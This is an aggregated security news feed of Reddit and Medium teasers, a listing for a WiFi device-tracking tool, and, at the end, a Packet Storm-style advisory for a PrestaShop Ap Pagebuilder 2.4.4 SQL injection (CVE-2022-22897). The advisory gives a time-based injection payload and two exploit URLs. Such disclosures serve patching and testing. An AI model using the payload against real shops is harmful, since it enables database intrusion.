More Hackers Adopt Sliver Toolkit as a Cobalt Strike Alternative
https://www.reddit.com/r/redteamsec/comments/wxe8q7/more_hackers_adopt_sliver_toolkit_as_a_cobalt/

submitted by /u/anusec (https://www.reddit.com/user/anusec)
[link] (https://www.bleepingcomputer.com/news/security/more-hackers-adopt-sliver-toolkit-as-a-cobalt-strike-alternative/) [comments] (https://www.reddit.com/r/redteamsec/comments/wxe8q7/more_hackers_adopt_sliver_toolkit_as_a_cobalt/)

SQL Injection
https://medium.com/@rajeevranjancom/sql-injection-dc256dd9060e?source=rss------bug_bounty-5

In this section, I’ll explain what SQL injection is, describe some common examples, explain how to find and exploit various kinds of SQL…Continue reading on Medium » (https://medium.com/@rajeevranjancom/sql-injection-dc256dd9060e?source=rss------bug_bounty-5)

hacking: security in practice
How would I fix this issue with airmon-ng?

I'm currently on Windows 10 and with Linode, have Ubuntu 18.04 and can use it through cmd. When I run the command "airmon-ng start wlan0mon" it returns the error "ls: cannot access '/sys/class/ieee80211/': No such file or directory". I've done some looking around but can't seem to find anything to help fix it.

submitted by /u/JustSomeIdot
[link] [comments]

Hacking on Medium
Tryhackme Confidential Makine Çözümü

https://cdn-images-1.medium.com/max/600/1*JAC8J25pk5M6YXcvKjps9Q.png
Açıklama: Selam arkadaşlar, Tryhackme plartformunda bulunan ‘Confidential’ isimli makinenin çözümünü sizinle paylaşıyor olacağım.

Continue reading on Medium »

Hacking on Medium
DNS Hijacking

https://cdn-images-1.medium.com/max/1920/1*_mamP38r6EAlZcYjY9QGQg.jpeg
Son iki hafta boyunca, DNS ele geçirme vakalarını muhtemelen daha sık duymaya başladınız.

Continue reading on Medium »

Hacking on Medium
This SIMPLE trick will exploit image uploads - $2500 TikTok bug bounty.

https://cdn-images-1.medium.com/max/1000/1*_5yeoPC54yupPaf0KGJ_Pg.png
Stored XSS in SVG files.

Continue reading on InfoSec Write-ups »

Hacking on Medium
My Top 3 HACKING Tools

https://cdn-images-1.medium.com/max/2600/1*qeSefUItx-p3rcLWe9FHNw.jpeg
For a Penetration Tester the right methodology is key. In order to implement that methodology, it is still crucial to have some sort of a…

Continue reading on System Weakness »

Is it safe to whitelist access based on user agents?
https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/

<!-- SC_OFF -->One of my users wants to use a 3rd party tool to crawl our website (for SEO analysis, etc). However they are requesting to have it whitelisted. I believe they want to whitelist the user agent. My question is, is it safe to whitelist based on user agents? Makes me nervous, user agents are really not unique correct? Dont we all have user agents? out of the millions/billions of people online, im sure many have the same. <!-- SC_ON --> submitted by /u/87390989 (https://www.reddit.com/user/87390989)
[link] (https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/) [comments] (https://www.reddit.com/r/redteamsec/comments/wxgq4s/is_it_safe_to_whitelist_access_based_on_user/)

KitPloit - PenTest Tools!
dBmonster - Track WiFi Devices With Their Recieved Signal Strength

https://blogger.googleusercontent.com/img/a/AVvXsEgOI9Zk66VNsWx2nWw55-8nE7mseWMfHj_yVr3Ye3DXbbeU1DEzOqdEjahZ-HDVRAKTlAnqWbC7JE6T-PFo-cBhdPmCJueOyr4nhNTIZF-BLwrII-h0BwOe4OO565K2s_JBZuydFlkSdx3UxVGRP2bYquf-jbCnCpPuryACkSE2LhALxYyQsKmDJiXb=w640-h202 With dBmonster you are able to scan for nearby WiFi devices and track them trough the signal strength (dBm) of their sent packets (sniffed with TShark). These dBm values will be plotted to a graph with matplotlib. It can help you to identify the exact location of nearby WiFi devices (use a directional WiFi antenna for the best results) or to find out how your self made antenna works the best (antenna radiation patterns). Features on Linux and MacOSFeature Linux MacOS Listing WiFi interfaces
✅

✅
Track & scan on 2.4GHz
✅

✅
Track & scan on 5GHz
✅

✅
Scanning for AP
✅

✅
Scanning for STA
✅
Beep when device found
❓

✅ Installationgit clone https://github.com/90N45-d3v/dBmonster
cd dBmonster

# Install required tools (On MacOS without sudo)
sudo python requirements.py

# Start dBmonster
sudo python dBmonster.py Has been successfully tested on...Platform

WiFi Adapter

Kali Linux ALFA AWUS036NHA, DIY Bi-Quad WiFi Antenna MacOS Monterey Internal card 802.11 a/b/g/n/ac (MBP 2019) * should work on any MacOS or Debian based system and with every WiFi card that supports monitor-mode Troubleshooting for MacOSNormally, you can only enable monitor-mode on the internal wifi card from MacOS with the airport utility from Apple. Somehow, wireshark (or here TShark) can enable it too on MacOS. Cool, but because of the MacOS system and Wireshark’s workaround, there are many issues running dBmonster on MacOS. After some time, it could freeze and/or you have to stop dBmonster/Tshark manually from the CLI with the pscommand. If you want to run it anyway, here are some helpful tips: Kill dBmonster, if you can't stop it over the GUILook if there are any processes, named dBmonster, tshark or python: sudo ps -U root Now kill them with the following command: sudo kill <pid Stop monitor-mode, if it's enabled after running dBmonstersudo airport <wifisniff Press control + c after a few seconds
* Please contact me on twitter, if you have anymore problems Working on...* Capture signal strength data for offline graphs
* Generate graphs from normal wireshark.pcapng file
* Generate multiple graphs in one coordinate system Additional information* If the tracked WiFi device is out of range or doesn't send any packets, the graph stops plotting till there is new data. So don't panic ;)
* dBmonster wasn't tested on all systems... If there are any errors or something is going wrong, contact me.
* If you used dBmonster on a non-listed Platform or WiFi Adapter, please open an issue (with Platform and WiFi Adapter information) and I will add your specification to the README.md Download dBmonster

Do you need to get OSCP before your first job as a pentester ?
https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/

<!-- SC_OFF -->if not, what can actually make up for something like the OSCP, can bug bounty experience be an alternative ? <!-- SC_ON --> submitted by /u/watermelonSoundsNice (https://www.reddit.com/user/watermelonSoundsNice)
[link] (https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/) [comments] (https://www.reddit.com/r/Pentesting/comments/wxkd02/do_you_need_to_get_oscp_before_your_first_job_as/)

How to know which attacks to use in CRTP ?
https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/

<!-- SC_OFF -->so basically in the CRTP course, in the section after we escalate privs and try n get to DA, there are so many attacks to try like kerberoasting and delegation (unconstrained and constrained) and dns admins attack like how do i know which attack i need to use basically ? <!-- SC_ON --> submitted by /u/watermelonSoundsNice (https://www.reddit.com/user/watermelonSoundsNice)
[link] (https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/) [comments] (https://www.reddit.com/r/Pentesting/comments/wxlr44/how_to_know_which_attacks_to_use_in_crtp/)

Exploit Collector
PrestaShop Ap Pagebuilder 2.4.4 SQL Injection

https://2.bp.blogspot.com/-uXp9StI5Rh0/WWlvYIMdqaI/AAAAAAAAIOg/mHe50EJovPcz8di_9Up4vC4YPRAZ9BUbwCLcBGAs/s1600/h55.png
PrestaShop Ap Pagebuilder module versions 2.4.4 and below suffer from a remote SQL injection vulnerability.

SHA-256 | 572afc861ea0ca4a81aaeb41616b518ea19cd0e87bb3b4b529c0171db4fdd9cb

Download
# Exploit Title: AP PAGEBUILDER Prestashop module <=
# Date: 24-08-2022
# Exploit Author: Mohamed Ali Hammami
# Vendor Homepage: https://apollotheme.com/
#Software Link : https://apollotheme.com/products/ap-pagebuilder-prestashop-module
# Version: 2.4.4
# Tested on: Windows 10
#CVE: CVE-2022-22897

Parameters: product_all_one_img,image_product

Payload: 1) or sleep(4) #

Exploit:
http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1)+or+sleep(4)%23&image_product=0&wishlist_compare=1
http://localhost/modules/appagebuilder/apajax.php?rand=1641313272327&leoajax=1&product_all_one_img=1&image_product=1)+or+sleep(4)%23&wishlist_compare=1


Source:packetstormsecurity.com